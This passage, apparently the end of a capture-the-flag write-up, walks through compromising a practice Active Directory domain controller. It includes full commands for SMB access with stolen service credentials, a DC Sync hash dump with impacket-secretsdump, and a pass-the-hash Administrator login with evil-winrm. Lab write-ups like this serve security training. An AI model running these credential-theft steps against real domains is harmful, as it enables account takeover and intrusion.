//10.49.183.170/backup -U spookysec.local/svc-admin%management2005”.</p><p>then we must see whats here:”smbclient //10.49.183.170/backup -U spookysec.local/svc-admin%management2005” then we see the files there by “ls” then we see a file called backup_credentials.txt we upload it to our system by “get backup_credentials.txt”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ySRzhFeOeCS-MKbTp-tPOw.png" /></figure><p>well we got another acount cridintials ,</p><p>The username of the account “backup” gets us thinking. What is this the backup account to?</p><p>Well, it is the backup account for the Domain Controller. This account has a unique permission that allows all Active Directory changes to be synced with this user account. This includes password hashes so its time for a DC Sync attack:</p><p>we can achieve it by a simple command:”impacket-secretsdump spookysec.local/backup:backup2517860@10.49.183.170” the output will look like this(its too long):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*z0LhUSiqOX_rYVGevnrYxg.png" /></figure><p>we want the admin hash to achieve the next thing:</p><p>we use this command to get in the admin acount to get the flag:evil-winrm -i 10.49.183.170 -u Administrator -H “0e0363213e37b94221497260b0bcb4fc” then will appear the cmd of the admin and do whetever you want</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RWXQEZ1Y255_JsTQiWDXxQ.png" /></figure><p>then we solved the machine.!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a45b8854af53" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>